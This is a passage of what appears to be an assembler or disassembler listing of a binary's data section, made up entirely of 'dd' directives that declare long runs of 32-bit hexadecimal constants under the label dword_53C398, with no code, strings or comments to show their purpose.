		dd 2469E4AFh, 0FC2FE822h, 4DEC5847h, 5CCC8100h,	0FECED688h
		dd 0A593CD14h, 7EC50034h, 81750F51h, 0CF340005h, 83FE06CDh
		dd 0E41C0A6Ch, 63C0B1E5h, 3815DACAh, 20855217h,	0E6007439h
		dd 7EDF7FBh, 473EEA6Ch,	9557000Eh, 0A8546F7Ah, 0BA66000Ah
		dd 736E4A36h, 4D631615h, 86762BC0h, 68091648h, 8130C10Ch
		dd 85981174h, 910E11h, 0C810BAECh, 89426D29h, 213A248Ah
		dd 0D9121423h, 0CB78CF20h, 0B02100EAh, 0BB39E2C3h, 0D601C8A2h
		dd 33D8BD6Ch, 25D4B9DEh, 4F5B00B0h, 2CDA30D5h, 5C043AB4h
		dd 533FD054h, 664C2080h, 20C412B2h, 0A6640725h,	93009864h
		dd 6E10AB7Ah, 12409018h, 403B8A24h, 7C32125Ch, 0F724E940h
		dd 0A184582Ch, 7C81D196h, 2983DA23h, 95A4E734h,	53701902h
		dd 48775933h, 1B2D890h,	0A0B13A42h, 80478F69h, 87792619h
		dd 0F55F9E2h, 0CDFD5731h, 84DE0B81h, 0E1AA47FCh, 0C4CF2E97h
		dd 8D773596h, 0A0A4A024h, 761E8E38h, 0D0001CAFh, 0DAFAB16Ah
		dd 250BF29Bh, 4C1148B6h, 0F5C02E3Dh, 783EC51Ah,	0CF55047Dh
		dd 0C0375F8Bh, 856EB0FCh, 0F484F200h, 0D70DFA2Ch, 1393007Bh
		dd 2247BBE1h, 6F0019BAh, 4D5D75C0h, 7AB5350h, 4058B5DFh
		dd 3F13F0FAh, 730065D4h, 44196ED3h, 98C14EB1h, 12A03F9h
		dd 0DB5E042Bh, 6F594FF8h, 80080939h, 5A9C8821h,	0B146B2h
		dd 0DD91A614h, 98CC7116h, 2B4AE01h, 8E449BDh, 1F6358E0h
		dd 0D7759917h, 0B9BC000Ah, 60FAF015h, 0D07889Eh, 4B069ABh
		dd 0B030CB16h, 0E71F00CEh, 0EFEEC56h, 0E400310Bh, 73D270DBh
		dd 1E555CD7h, 4706B5D5h, 0C603FFh, 0C0C556EEh, 0A385BC0Eh
		dd 980032B4h, 9ECB1C54h, 27CA00A8h, 93E3C62Fh, 9038E0D3h
		dd 2EC09E35h, 4EB7D400h, 144883h, 34A41E9Fh, 13437EFFh
		dd 0AC261C2Eh, 0E10DFD09h, 0C60C950h, 3F67FA9Dh, 81809805h
		dd 0C425F4ACh, 86EAE322h, 0E90E6301h, 7C590DF8h, 0C7E943Ch
		dd 13C64AA3h, 0B100F511h, 0E869D87h, 48E66AEh, 0B8835968h
		dd 8DA8D0F6h, 9B03F96Ch, 8180F37Dh, 0E4C2A00Ch,	89DF30CEh
		dd 0DA1565C0h, 256B7E00h, 0C22C6AFh, 799A0036h,	41C92B9Bh
		dd 3903CA7Ah, 0E0667D92h, 0D55800A7h, 0A86BB52Fh, 5E00A1FDh
		dd 0CECD6F79h, 0CFE5D6h, 6656130h, 0C7ABC6A9h, 8048321Eh
		dd 0CA0DBA42h, 0A18040DEh, 178403D0h, 0FF9C581Dh, 0B625C3D0h
		dd 0ABF3D200h, 9EE509FEh, 1E5C00ECh, 4DB37EBAh,	620F5A4Eh
		dd 22FCD4B2h, 51D33F78h, 0C00C9FC4h, 0B1281947h, 6D0397E3h
		dd 26D7CE37h, 0C8618BABh, 76EDFF68h, 0A48D006Eh, 84587410h
		dd 0B6005371h, 3F99C5BEh, 0FAD8E252h, 87DB4B21h, 837AB5ACh
		dd 3D83EB86h, 0EEE7E3F0h, 0FDD27200h, 0B50FB244h, 8569008Ch
		dd 3350124Ah, 584DA445h, 0BF70010h, 3F0E0375h, 0BE8F00FBh
		dd 0DAAD88AFh, 81031CCCh, 0B0BA9682h, 94FD98FEh, 0F4AB00A0h
		dd 7B211845h, 60008924h, 0AA49136h, 38258Dh, 0DD94A7F8h
		dd 566B8BAFh, 0A0322E00h, 0AB279FC0h, 9DEEE2h, 0C907E158h
		dd 5E10B7B6h, 8C7B2600h, 2A5AEADDh, 0F8065054h,	6DDB3D8Bh
		dd 7C89D43Ah, 2C00DCD8h, 0FCE6577Eh, 18448401h,	43AD225Ah
		dd 2179E883h, 290F6EF4h
		dd 41AB8137h, 526F01C2h, 244308FCh, 2473DBh, 0FC9D1B93h
		dd 9A07399Ch, 0C3042794h, 5B4B8F40h, 0F764013Eh, 0B89CC9BBh
		dd 5EFC4037h, 8501ED77h, 79F80D6Ah, 0E3476976h,	0F9121DCh
		dd 0E4D5902Ch, 2480E0EFh, 6EDEF5CCh, 9A13560Eh,	92C25D8Fh
		dd 405B0393h, 1C599E54h, 0ABA5708h, 6C82ABEh, 21198D96h
		dd 4C13B405h, 0B480E723h, 3FE8CFCAh, 7C1E45BCh,	17D0801Ah
		dd 8EB17247h, 9D0AAF00h, 0AE2F3444h, 208F39C5h,	3CE82900h
		dd 6123C8C6h, 0A400017Bh, 0E0A5435Bh, 17792F3h,	88AB37E6h
		dd 20F45E75h, 0CC39ED3Bh, 21699819h, 18CA0ED8h,	1106C255h
		dd 0C400FEA6h, 0A35AF533h, 61DCE76h, 0EBBB8883h, 0A600B8C5h
		dd 9A71361h, 7BCB19h, 0F877E504h, 648291CAh, 8B308C02h
		dd 0E0239311h, 3939D92Ch, 0AFB99EE3h, 4EFF6787h, 0B8B4B629h
		dd 780ACB00h, 6992FCFBh, 0E857F3Ch, 9B3481E4h, 1ABB0053h
		dd 0BEF87B45h, 608E9501h, 0C38C72A0h, 34A1ED8h,	2A5CDFF9h
		dd 34F0A781h, 7C5C41BEh, 83210014h, 0EF177095h,	37D100F1h
		dd 0FC97989Ch, 0E300EBEAh, 0B64B9931h, 7641B383h, 0A56B02D0h
		dd 0BF61482Fh, 56A840C3h, 67003FF2h, 0E6EEDD90h, 0A3B269h
		dd 9626E242h, 6E76A97Ch, 0B803BC00h, 0B2D308CCh, 816A00C5h
		dd 0AB5DA794h, 0ACA3862Ah, 0FE8CC0ECh, 4B007810h, 43665ED5h
		dd 0EC858A61h, 556F0682h, 34B120F8h, 0BF004F98h, 24957DFCh
		dd 0FFE78E6h, 40571B87h, 0F07C6187h, 7E2B9A14h,	21E0C98h
		dd 56D23F62h, 70E5AC00h, 8A81CAh, 0CD0AE1BAh, 529949D8h
		dd 5CD0E0A3h, 25F4D1B1h, 4090DC30h, 0FCFFC36h, 56B5025Fh
		dd 0CA9231E0h, 730C552h, 69A7C001h, 0A65E0042h,	2534AB55h
		dd 5700EAE0h, 0CC943586h, 0BE1BA3h, 7F09986Ah, 3E7D18EEh
		dd 0E7DE6107h, 7BA12FF0h, 0AFD82015h, 0C4C04CACh, 57EF0301h
		dd 80C1763Dh, 0E579D310h, 0EA192Ah, 2241669Ah, 53139EE1h
		dd 8B00EE71h, 4D09ACECh, 3C64B14h, 339CC406h, 4000E328h
		dd 0F1E2627Fh, 0E08699BEh, 0B7F0C5ACh, 8A0A8061h, 76038703h
		dd 18A9EB42h, 0AFB88CBh, 0FFE40006h, 0C93BD8A7h, 45006486h
		dd 0C76F9B5Fh, 0E04029h, 4B907BD5h, 72B615AEh, 0BAF39D1Fh
		dd 0D143340h, 77B47361h, 4D531260h, 282441F8h, 703E5049h
		dd 1C780150h, 0D101047Bh, 29F71308h, 0BF9EF98h,	0FEFC11ECh
		dd 0E0EC0487h, 94BED5FDh, 97CA8D0h, 658DFB0Eh, 82298F7Ch
		dd 90F0B6A5h, 0F372A7B8h, 0BEEA4103h, 0A13862E1h, 5831B337h
		dd 0BCD4092Ah, 908A9207h, 27917D74h, 0FA837200h, 90BD8CF1h
		dd 9377001Ch, 0C8451EE2h, 170C8958h, 7978434Eh,	0FA3CB0CFh
		dd 0B1A00038h, 52ECB8DFh, 167A4C55h, 0E4000CBAh, 0B39CC3E5h
		dd 3922DC9Fh, 84823E6Bh, 447F8082h, 325384C1h, 91920900h
		dd 1107005h, 7C0A67A0h,	2DB1502Ah, 1C0173E8h, 0AF1877C1h
		dd 6C64C6BDh, 0D7390733h, 707322E8h, 5C95B58Eh,	8BEA15E2h
		dd 0EDF77703h, 4C1498A3h, 0EE001010h, 888FBD87h, 70C05E06h
		dd 0B24D5C9Dh, 85EC12FAh, 416A1897h, 9F076380h,	960FB137h
		dd 80B3A6A3h, 3D481842h, 98EEDDDh, 0D4EE6144h, 1A466360h
		dd 34006833h, 9A776FE5h, 280EAEB7h, 80E0AFh, 6D26B9DFh
		dd 585546CEh, 30603Dh, 0D2832BAh, 0BEB0785h, 71D20F8Ch
		dd 1D16FF80h, 0E5002BE8h, 26E6FDDh, 27C42EAh, 43B698D4h
		dd 0DE8049A0h, 12B96909h, 0B810C330h, 1281C59Eh, 0C5ECC1Ah
		dd 6CE85936h, 345A4B1Eh, 740AC00h, 7E79F284h, 37052778h
		dd 420DC00h, 633A0D65h,	0CCD904A8h, 94A85611h, 0E48A7CA1h
		dd 0C4A888F6h, 9A0944E3h, 0ADAE234Dh, 28201928h, 0DB74D0h
		dd 963AA2D3h, 0D98331DDh, 0C008E24Ch, 19FD8A09h, 0FBC00045h
		dd 8D5ED6BFh, 5100B04Ah, 0A8B50523h, 854277h, 0B9AB6CD7h
		dd 242DCB56h, 0C4B8AE61h, 0B370BD2Ch, 2057019Ah, 0C3C25436h
		dd 2665D8D0h, 803F303Bh, 533EA7C4h, 3CCE6458h, 0EE9E7331h
		dd 0CF634B4Eh, 0ECC63200h, 0D3FCAB1Dh, 0B50001F2h, 455A2C2Dh
		dd 1C2E6AACh, 83C9EC06h, 1BD685D2h, 0E740C582h,	500BCE9h
		dd 1CB937CEh, 44C874Bh,	0BB09A614h, 95ACC0FCh, 0B7302DB1h
		dd 0A4191150h, 0DBB00223h, 4A1D1EBDh, 6D6C9480h, 0E124F5B2h
		dd 0B900B4A2h, 0F96B4DA8h, 0EFAA0074h, 1F97CB48h, 250E56CEh
		dd 6607D2EEh, 2E618F1Bh, 80702EBFh, 4A7F33DCh, 8D0FA116h
		dd 80C40FF6h, 0E32364F1h, 2F54000Dh, 0BABB22BDh, 970342A0h
		dd 31902A53h, 8A000D9h,	0DD476258h, 7EEA8986h, 0EB1FC600h
		dd 0D6E8DF1Eh, 0FA270266h, 0A4E36026h, 8FB6C4C0h, 0F5E23E01h
		dd 86A81A94h, 0E0824880h, 0C57F2BDCh, 60001892h, 93A6B8Ch
		dd 0C06435Eh, 42811E3Bh, 27001D31h, 8A670774h, 7182EDh
		dd 0DC47ECABh, 424C2E9Ah, 15AFD100h, 0ED1683CCh, 307A907Ah
		dd 0FE41279Eh, 4B2C693Eh, 2617802Eh, 2AC40C00h,	148B8F0h
		dd 6F61E916h, 0CCF25B45h, 3000A153h, 65B14249h,	63DD23A9h
		dd 0E63548CBh, 7496F1h,	0F0D576Dh, 7F50255Dh, 7C2E0880h
		dd 0A24A617Bh, 897DB480h, 0B5E30011h, 15B6250Fh, 6E778873h
		dd 0BD795D00h, 0E416FD24h, 0F431C099h, 4FD0DC3Bh, 400E8F4h
		dd 2AD57A22h, 126CEEE1h, 0C94C74Dh, 97808385h, 9646BA01h
		dd 8625D2A4h, 188084E9h, 0DCFD360Ah, 784A5D09h,	4D6004C0h
		dd 28AB4869h, 6B7F007Fh, 336FBA50h, 0FF004E25h,	0D2A9A35Ch
		dd 626C7230h, 2EC34839h, 0BB5198C8h, 2748D060h,	0D4C9EEh
		dd 7FCF8CF6h, 1D431BDFh, 77103401h, 0B4D7CCAFh,	5161EFC0h
		dd 70CCEC02h, 970500FDh, 83BA3772h, 510073F9h, 14EDA2B6h
		dd 0FA0D6825h, 0D1A6028Fh, 0EBBDCF4h, 0C01AE0C0h, 98173405h
		dd 901CA929h, 2A9E6001h, 0FC70A747h, 138A00C5h,	7EAB9071h
		dd 0C6003A0Eh, 92B24F4Ch, 0E5E91A3h, 94CD7623h,	82D00640h
		dd 0E00045B1h, 13226B83h, 3A3A969h, 4B5D1EEh, 0CEE9CD32h
		dd 7E5DEC6Eh, 0DE001095h, 806A00A3h, 0C8E3C58Eh, 8217E757h
		dd 9CC00768h, 0F34DE1Bh, 0A1FF5248h, 6ACF4560h,	0C53B9162h
		dd 327D0905h, 10CC580Dh, 0EBD80Bh, 63378EE7h, 9DA1B89h
		dd 1F867CEFh, 0F2E16C80h, 0D86029C4h, 10D03211h, 68460020h
		dd 0BF43353Fh, 60004466h, 9E867765h, 60F406CAh,	2BE43189h
		dd 0F800DFC1h, 0C69B0390h, 380E9C97h, 7380E90Fh, 4964AF6Ch
		dd 0D82EB1D9h, 6180B8FBh, 0C609D33Fh, 99402602h, 0C5790E50h
		dd 871998C1h, 77BC78F8h, 621CD878h, 0FA26FE74h,	771EB300h
		dd 73E7046Dh, 0D4F30172h, 950274A8h, 0F58AD414h, 2280B800h
		dd 9B96FFBDh, 0B22A1498h, 8D09B070h, 0AC80D036h, 4F38A11h
		dd 0E130EC00h, 17202546h, 867B0026h, 99828DBh, 303A9A5h
		dd 0C71DC8B1h, 0A104B86Ah, 0C6371722h, 0C0D81EDEh, 78D4F203h
		dd 0C49432A4h, 9A403A1Dh, 0A7D99C6h, 91381765h,	804B1D6Dh
		dd 784F623Eh, 0C600AA95h, 0E160AF1Ch, 21EEE7h, 9B505F8Dh
		dd 0BD25C9CFh, 5A547F05h, 648131EBh, 3BD0A0C2h,	0B0B007h
		dd 4BFBE93h, 4C47E158h,	49DB9717h, 0F6A9F800h, 721D6C1h
		dd 5011C7B4h, 7FC4320h,	0F3D27BF8h, 67D9FCE3h, 204259C0h
		dd 2CDD01E0h, 1D88E5DFh, 0A6BA8BB0h, 0F95A9B80h, 0AF01689Ch
		dd 16B9F74Dh, 84C42513h, 404B0C20h, 0D4900B79h,	57937B05h
		dd 0E4926BDEh, 0C288744Fh, 0E0C8AB1Eh, 99180E8Dh, 8F11E96Fh
		dd 5CA32C55h, 7BB780D8h
dword_53C398	dd 96A2AE4Bh, 0F823322Eh, 0E5657E80h, 788A70A6h, 4D1D05B6h
		dd 0B0394B3Ch, 2F161CE8h, 50C021B5h, 4E2B7ABCh,	1AB08B6Fh
		dd 601174EAh, 0C1D92649h, 0BCF3379h, 0E3883021h, 21AF700h
		dd 8C544AEDh, 1BAC0020h, 0BEB47D2Dh, 40DE3D1Eh,	0B1FFD80h
		dd 9C4DD33h, 0FEDED659h, 0F8F51700h, 180B2C13h,	0C0EF5E38h
		dd 39D688h, 5B3D7BDBh, 9AE8A78Eh, 0E0B1BB30h, 30D3A16h
		dd 4607A8FBh, 0C8007779h, 12BDF811h, 0EFA47593h, 0FE7C0430h
		dd 9E0107AAh, 205B8523h, 1809A16Eh, 5F6B1E18h, 150811h
		dd 8B4B721Fh, 0E0B9B6Ch, 0DAF3F406h, 74901EEAh,	7E450535h
		dd 0E4A4890Ch, 1400F88Ch, 0CDFEEA08h, 614009AEh, 0B97E18D1h
		dd 0D793E3E6h, 69113Ch,	0A2CEA19Ch, 1CF637h, 918D03FFh
		dd 1F21A493h, 0B61A1300h, 0B5E60C14h, 73D7DACh,	6DADECF6h
		dd 0C0AA9499h, 0CC12A90Bh, 97CE163Fh, 0A8411765h, 0A8AA8B73h
		dd 0CC980FF3h, 0A920CE76h, 190A727Eh, 17808065h, 0A75B0BAEh
		dd 0EF2140E4h, 20351007h, 8B7C05A1h, 0BEBF683h,	5CE49310h
		dd 0E6BDFC01h, 989D5DFDh, 0F74CCh, 0E5608F54h, 0B2726E5Ah
		dd 80A80905h, 98A940FCh, 2101013Ch, 207845E6h, 0CDEEC4CEh
		dd 4839EA75h, 2979302Ch, 37B8007h, 0F4AC520Ch, 0BBE35C86h
		dd 210157A3h, 25B5ED1Eh, 0C44809D2h, 0CEEC0013h, 0BA1B634h
		dd 531ED707h, 8E426B2Eh, 0DC8D0F45h, 12F1DA4h, 87BABE49h
		dd 34066E92h, 76495E6Bh, 4B0F05ADh, 0BCA81573h,	6FB20398h
		dd 0F8B5978Ch, 91B3EAh,	7B0365D9h, 4F6BA19Eh, 0D8023500h
		dd 0C95F45ECh, 0C6980012h, 6156D9F0h, 51DE6D3h,	0A540AD4Fh
		dd 0AAE3ECC1h, 0F0BF0C64h, 42309EBDh, 3E760907h, 9D9F432Fh
		dd 0C0B8140Eh, 0F4F94D86h, 0FD730011h, 0F71F87FEh, 1A0E93F2h
		dd 0A0CA4F5Eh, 0D6325DBFh, 3E708Bh, 85ACC4AAh, 0B5F8FF1Ah
		dd 5F73400h, 16535A13h,	127BB7h, 90108A04h, 0C9A0915Eh
		dd 0DC425B07h, 0A600438Eh, 1F75D9D4h, 0C0141910h, 5F60B0Dh
		dd 0FC00F15Ah, 0C68373A2h, 0EA9ED530h, 0ADA12D2Ch, 54CA4CC5h
		dd 0FE04944Fh, 649A2BE1h, 1A250900h, 3D9C401Ch,	0CE9580A2h
		dd 0B081754Ah, 541082EAh, 298114A0h, 7A731441h,	0C213F612h
		dd 219524A5h, 2115B66h,	11F01283h, 44EE0881h, 78840E5Fh
		dd 86D899Bh, 8171F0B9h,	4436083Ah, 2284D9B7h, 46425627h
		dd 21C68C11h, 46CA08C5h, 85845290h, 42B148D3h, 682F4AF7h
		dd 0D2AD8884h, 88A31D88h, 8A9049D7h, 48D61484h,	2F864209h
		dd 0DC219624h, 0F513DBh, 6F1DEB79h, 123E0617h, 4E9B700h
		dd 3A0B1476h, 0E3AD030Ch, 0DA096D1Bh, 2DF30FB8h, 0D80EA473h
		dd 400DF807h, 0D4F0A32Ch, 0CAFA2509h, 0D3380840h, 9322EB3Fh
		dd 4CB0503Dh, 0A3180056h, 49E9441Bh, 0F900916Eh, 8E257D28h
		dd 0BFAEC1h, 19595638h,	60EEEDCh, 4660390Eh, 0F7118009h
		dd 3D6D29h, 83F1E587h, 0E0D43415h, 0C8279D02h, 0E09025C3h
		dd 0B04AF46h, 0BC05896Fh, 0EF007C7Ah, 28A2C4C7h, 397DAB4h
		dd 0CB22E3D8h, 8BF03781h, 1B13E6F7h, 62008A6Fh,	0CC620793h
		dd 0BD4707FBh, 8053BC24h, 495E1FD0h, 9FA59400h,	3F7913B1h
		dd 8C0F00E8h, 827D6F9Bh, 0B50B0524h, 0CD9DB23h,	3B11E6h
		dd 33E8CFC7h, 35309CB9h, 0E5811000h, 74534B3Dh,	0F29D3A9Bh
		dd 0B4F46C00h, 0EABF4333h, 0C1C0B000h, 0CAE55404h, 0FB092ADh
		dd 0D4A079ECh, 0D0E813E7h, 0A31ED2F7h, 0F844B907h, 3AE0EF19h
		dd 399FBAh, 9BFDC99h, 3EA657EBh, 4CF5CC00h, 0FB8435F1h
		dd 22ED00EAh, 76CA16B4h, 2700DCFCh, 62C808F8h, 26E2F2D9h
		dd 0F6AF38h, 606CA2A5h,	9300DAECh, 0B2D72B55h, 0F4CD25CAh
		dd 884D0039h, 70EBD81Ah, 1838791Dh, 6EC702ADh, 40FD587Bh
		dd 381EA3DDh, 0F6009D59h, 0FA0B8079h, 0E4009381h, 0E2CA55C8h
		dd 0C5BC6h, 0E8F0DEEBh,	488ECC63h, 2938FE00h, 558B1620h
		dd 0ECFD001Ah, 0AA8CBB4Eh, 0B30E670Fh, 0A0089A6Bh, 5D0BF39Dh
		dd 79A00E5Fh, 6A63B506h, 4803A7DCh, 43ED7693h, 0CCEA99D4h
		dd 28860FD8h, 1FAC6321h, 7B5539Ah, 0A0D29BB8h, 677E9E16h
		dd 932EDF00h, 3139AD36h, 0D4600089h, 0C8FF3F32h, 8D078C38h
		dd 0FE5554DAh, 8005B423h, 0EC0D5ED1h, 38BE003Ah, 0A547A8BAh
		dd 78E64631h, 0CF093307h, 0F740FA7Dh, 28F0185h,	7945A75Eh
		dd 2C528928h, 770091B0h, 0B4F913Bh, 0F1BA04Bh, 0F17D679Fh
		dd 98E921C1h, 302DEC6Dh, 0C19BB00h, 6088807Ch, 5F960033h
		dd 1D844273h, 4E0728EFh, 0F36E5BD8h, 0DFC0FF90h, 23510FF8h
		dd 4580A3C9h, 21D27253h, 1EC58A3Eh, 1B40F7E4h, 0C2437BDAh
		dd 87420F5Dh, 0FC32DB1h, 4C823B56h, 65D70C40h, 94CC9A18h
		dd 0F6468378h, 787E1897h, 0DC8F2050h, 5AA72200h, 88BCC7C8h
		dd 55F0005Ch, 0B1E71ABAh, 231D1B18h, 67C01CA5h,	14F3D229h
		dd 0F7FC03h, 0F658F0Ch,	51BBE220h, 0AECCB107h, 0E950E695h
		dd 1C5E9FF0h, 807B40F6h, 91C04D5Ch, 6C0787EBh, 61A5288Bh
		dd 76757D60h, 0E44A0986h, 0B4F0679Ch, 0F7053972h, 0FA451AACh
		dd 90D508A0h, 4A260050h, 86D80D3Dh, 0F85BCA7Bh,	473AC4A8h
		dd 12E422A4h, 0BAF4C0D3h, 5280A3A6h, 6A740256h,	7194B2C5h
		dd 0B7EDD8E0h, 0D1020E00h, 0AF18722Bh, 308B706Fh, 94685139h
		dd 0A1E253BFh, 107C4E8h, 5DD4DE57h, 0CA608D40h,	0A4CF0B0Bh
		dd 7A8F5A09h, 77CC3180h, 260036D2h, 63C27932h, 3F678394h
		dd 0D5D05CA8h, 0AED1008Eh, 953F77CBh, 980006BFh, 0B463A8D4h
		dd 137C2218h, 466EEB8h,	0ED499754h, 0AC004A34h,	0F0E5E34Ah
		dd 13AE0080h, 0E66451E0h, 0C6245E15h, 7F009023h, 2111124Ah
		dd 0B283D8Ch, 0AE016901h, 0D422990Eh, 7C0E2071h, 0A02CE0A7h
		dd 81F4734Fh, 1453006Eh, 0F1684A22h, 51127082h,	1C40F32Ah
		dd 83488A24h, 189900F7h, 7C0AD9EFh, 0A00201A9h,	0BBAD9751h
		dd 2708701Dh, 7C4406C3h, 6BE0A41Fh, 26259440h, 2A7DBF4h
		dd 0D350FDC8h, 48407843h, 8D0018DEh, 4A2CB5F5h,	7EB9CFACh
		dd 8F72BBh, 709A09ADh, 4E6B496Ch, 0FDA65B00h, 7336BBC6h
		dd 7C5EF627h, 48BF009Eh, 0D5691B23h, 42122F1Ah,	5400A98Bh
		dd 41759329h, 8C6E48BFh, 0B4F2C4h, 6F9CA7Ah, 3701E62h
		dd 5B94C295h, 0A063A90Fh, 3BCB59E0h, 4C854Ch, 0CFEFFFF6h
		dd 776C72EAh, 0A4FCB8h,	0BA90ECC0h, 570A9F17h, 3CAE2504h
		dd 44803EC2h, 3D9B29Ch,	0A3A7197Dh, 0E8F8FF55h,	960F3728h
		dd 0A39D09B0h, 40B2F02h, 5F22D020h, 3C4CFC4Ah, 796380E5h
		dd 2FE9D2D7h, 295E605Ch, 22EC9D35h, 4B108F48h, 78266488h
		dd 3D50B0D1h, 0A3181923h, 0E1FE3006h, 573D7B00h, 0F4618DCDh
		dd 7081BD92h, 0DE534F4Dh, 5D8080C2h, 45A8A48Fh,	6A59EF04h
		dd 0A4E9D59Dh, 63780075h, 0BB5ED390h, 0C128815h, 48A068ACh
		dd 4CAF4271h, 5C843D68h, 4012174Bh, 7FC22500h, 0E987CDh
		dd 0CE16B05Eh, 0B1DCD801h, 0B62C3Ch, 0AE56FB0Fh, 30F91232h
		dd 36509B9Ah, 2539BE40h, 7A714DBh, 785509E8h, 26580080h
		dd 1BFC8DDh, 0C0277694h, 6CCF6875h, 0B4C710B8h,	1AD79AC0h
		dd 0C600337Dh, 0A876D69Fh, 24AB3DCFh, 754F454h,	0E6C16EDh
		dd 3E819240h, 1200867Ah, 5C738CE6h, 0A085E8CDh,	2966AFCh
		dd 5882BAB7h, 0C980949Eh, 8760D56Eh, 53B22C0Bh,	0AA68008Bh
		dd 1CBE9676h, 40FA3A19h, 0DCD9F766h, 92026B84h,	0BD52A9FEh
		dd 4C306001h, 7BAC042Ah
		dd 0F08E286Ah, 0D8072F70h, 6E65DF30h, 0A2CEFA10h, 9F3D0001h
		dd 4AB08128h, 5D004BF6h, 7F0BFC8Ch, 74039390h, 0C0504B09h
		dd 820CED54h, 4A85D131h, 9AD8F11Fh, 0ED5172FBh,	20D2E9h
		dd 67D40040h, 4A35A16Fh, 700414Fh, 31A26C4Eh, 3DBB6544h
		dd 0B5802552h, 55CAFA34h, 0B1003BDCh, 0CFF58E33h, 58DB54h
		dd 929035ADh, 3134B066h, 0FAEBD301h, 7FBD240h, 3ECD18E8h
		dd 79260178h, 0E3EA0038h, 7DF32415h, 0EC62DF28h, 0DD406D0Bh
		dd 38760037h, 0D8D464h,	0D5EE52FAh, 0A17650FEh,	3214050Eh
		dd 1D2AC0BAh, 9F42A7DEh, 0C7B21824h, 32803041h,	0A800970Ah
		dd 27BC6881h, 0F67A6Eh,	7317D0FDh, 0E686F1A0h, 0F51F5F03h
		dd 90163A07h, 3A7C8122h, 7D0184EAh, 9436C199h, 99C6846h
		dd 0D08A701Dh, 0B2E60078h, 0B152ED06h, 791D84ABh, 8B004801h
		dd 0D07E211Eh, 0FDC474F7h, 593DC0h, 1942F11Dh, 7358E928h
		dd 0F5463828h, 9C40EA00h, 0D34AEFAEh, 1A9841h, 9AB6FBCBh
		dd 7D66E72h, 0D09EFD12h, 699B3420h, 0F6560EFFh,	0DAA0EBD7h
		dd 9DEA2E1Eh, 58219A2Ch, 0B4940303h, 6A36A8A4h,	0FBAE004Bh
		dd 0C389A8F6h, 7100E238h, 2B2FF74Ch, 0EAEA0D01h, 87A0082h
		dd 6A4E3D6Fh, 0AEF233F3h, 0B87EE9F4h, 24F7F524h, 0C79CD21Eh
		dd 64A500FBh, 184F719Bh, 0C43F1C9Fh, 1941FDDh, 0FA58E793h
		dd 0B3C03F24h, 3B7E4628h, 0B40151D2h, 0A75F1506h, 70C147CAh
		dd 0C439189Fh, 6856E003h, 0F5EED3A6h, 0FFEF0C80h, 0CC5A1CE4h
		dd 7ABF82C7h, 38C0DACDh, 4DB8A321h, 9A606826h, 0C70E6324h
		dd 5E46E1E2h, 5C603672h, 7B0C010Dh, 854E0F4Fh, 0E0CFD369h
		dd 95C12C06h, 0B00A871h, 3F50F243h, 1D580957h, 0CFF38C8Ah
		dd 0CC4960DDh, 43F0C841h, 30EF59DCh, 1DF31EBh, 11F4E80Eh
		dd 0FE4321C9h, 0F9D8F2D6h, 0AA3000EAh, 85537112h, 0FF00A780h
		dd 4C8721A1h, 2C8C6788h, 1DB31C7Bh, 53464169h, 0ECC09163h
		dd 9E00721Bh, 0B78F90F5h, 3673892h, 0E096EFA2h,	0DBD27E0Ah
		dd 7312E360h, 4093F927h, 0BC9A50h, 0B38B2410h, 1C1F81A4h
		dd 98674Ch, 9FDF5EF3h, 0ABBEF7h, 0C4267A90h, 43BF1EACh
		dd 2DDEFC00h, 0C8DA3322h, 8810BD71h, 413EBCB6h,	0FF3F814Bh
		dd 0AD67D9D4h, 6C6C6021h, 77C2AF04h, 405087EEh,	8450EC41h
		dd 45830714h, 711D008Bh, 1EE4F79Eh, 97CB038h, 74D43AF9h
		dd 7A45C100h, 0FE0002F3h, 717B2E07h, 1EFE587h, 12331385h
		dd 0E8D7234Bh, 0CE002F20h, 5A7AA1DFh, 70AA7B2Dh, 3E1B0018h
		dd 0D82A0CC8h, 1300B2EBh, 0ACA7DAF5h, 0FC39B8BCh, 9E6F303Eh
		dd 346EEAB0h, 50320400h, 4EB331D7h, 269F1E75h, 5F2400B4h
		dd 39ACEC6Ch, 0D3000898h, 0A7F08FE4h, 0EBA7Ch, 0CE1AE92Fh
		dd 7D88C75Bh, 1FC1B301h, 0AD9FAB2Bh, 0A058207Fh, 9300B144h
		dd 952EEB76h, 0E462D5Ch, 861DE1F7h, 39E59C00h, 65028DBAh
		dd 647A9206h, 899180CFh, 92E6AA2h, 19803B81h, 3A39C056h
		dd 659C00B2h, 0A62AE28Ch, 0B61C0002h, 0BD30116Dh, 0A10093BFh
		dd 0DA8C29C5h, 0B8CF4D79h, 5FED00EEh, 46EBEFB0h, 43006B54h
		dd 98996AEh, 72266Eh, 0EE1747C9h, 8E2E08DBh, 0F8D5993Bh
		dd 651C4103h, 17476D2Ch, 0E127C838h, 5B498060h,	9F258006h
		dd 737C0103h, 8B8345Ah,	90F2E0DBh, 1304E200h, 106887D8h
		dd 966007CEh, 4022457Ah, 2C02631Dh, 90CB150Eh, 60CDE03Fh
		dd 1BFEA66h, 4803C0C5h,	20FD3062h, 7C07C1FEh, 0AB189DA3h
		dd 7A05E3B0h, 55780033h, 48C253EFh, 0BB0796BEh,	7FD63F1Dh
		dd 0A3902997h, 7C55430h, 0EB7798DEh, 82CF202Ch,	3300114Bh
		dd 0D13F75DCh, 104A93h,	973DA36h, 6B5170DBh, 457C631Dh
		dd 232CA3C0h, 7654CC82h, 2BB4004Bh, 4AD68130h, 0D37AB838h
		dd 700BF80Fh, 0A1EFE3D5h, 0D288F8BDh, 12F7899h,	9E16FD6Fh
		dd 0E46BDA35h, 201D5401h, 1200C619h, 6B324E9h, 6FF20246h
		dd 0D7E61EE0h, 0D1439040h, 9E10100h, 21CC14BBh,	109500EFh
		dd 3079E3Bh, 34009360h,	815564BCh, 84CDA9h, 90D63032h
		dd 0AC0570E0h, 427DCBE6h, 91088500h, 0E15899A7h, 0E4DF00A9h
		dd 258AD512h, 0B52FBD18h, 0F7EC8082h, 76F24B22h, 7D591C9Fh
		dd 402D5EBFh, 47197351h, 791EA7DFh, 8040DD9Ah, 5AB8B181h
		dd 0EC7E0006h, 0D064EE75h, 280F33D6h, 27951107h, 0ABB0B11Eh
		dd 4B3C6Ah, 306BB52Dh, 4174240h, 0B8F2FC00h, 76C4107Eh
		dd 5F930308h, 79863E57h, 0CD0B29F9h, 0E54AF95Bh, 1169ECDAh
		dd 0C5667D00h, 0F2EB937Ah, 0BDFE8Bh, 94335E17h,	7D52726Fh
		dd 8FDED10Bh, 0C7F6F028h, 0A012C230h, 7B492DD9h, 0BC13F100h
